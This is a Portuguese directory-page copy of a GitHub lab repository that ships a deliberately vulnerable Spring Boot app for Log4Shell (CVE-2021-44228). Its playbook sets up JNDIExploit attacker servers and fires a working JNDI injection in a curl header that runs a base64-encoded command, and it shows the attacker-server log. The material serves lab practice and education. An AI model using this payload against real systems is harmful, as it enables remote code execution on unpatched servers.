Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4shell-vulnerable-app — Este repositório contém uma aplicação web Spring Boot vulnerável à CVE-2021-44228, conhecida como log4shell. | Kitploit
Ferramentas/GitHubGitHub/romanutti/log4shell-vulnerable-app
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubromanutti/log4shell-vulnerable-app

log4shell-vulnerable-app

Este repositório contém uma aplicação web Spring Boot vulnerável à CVE-2021-44228, conhecida como log4shell.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 4 anosAinda não revisado

Aplicação vulnerável

Este repositório contém uma aplicação web Spring Boot vulnerável ao CVE-2021-44228, conhecido como log4shell.

Ela usa

  • log-4j-core:2.14.1 (através de spring-boot-starter-log4j2) e
  • openjdk:8u181

Executando a aplicação

Execute:

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app

Ou, alternativamente, construa você mesmo:

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

Playbook de exploração

Usando os passos a seguir, você pode reproduzir um exploit log4shell. Se você não está familiarizado com o funcionamento interno do ataque, confira este artigo ou os slides neste repositório.

Atualização (13 de dezembro): O repositório JNDIExploit foi removido do GitHub (presumivelmente, não pelo GitHub). Portanto, recomendo que você use a versão salva deste repositório.

Configurando os servidores do atacante

Primeiro, temos que configurar os servidores do atacante. Isso consiste em:

  • um servidor LDAP que nos redirecionará para nosso servidor HTTP malicioso
  • um servidor HTTP que retornará o payload nocivo

Usamos o JNDIExploit para iniciar os servidores do atacante.

root@kitploit:~
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888

Acionando o exploit

Como payload, queremos executar touch /tmp/pwned (que corresponde ao codificado em base64 dG91Y2ggL3RtcC9wd25lZAo=) no servidor da aplicação vulnerável.

Acione o exploit usando:

root@kitploit:~
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

A saída do JNDIExploit mostra que os servidores do atacante responderam com o exploit malicioso e executaram o payload:

root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

Para confirmar que a execução do código foi bem-sucedida, verificamos que o arquivo /tmp/pwned.txt foi criado no contêiner que executa a aplicação vulnerável:

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

...
pwned
...

Referência

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/

Baixar ferramenta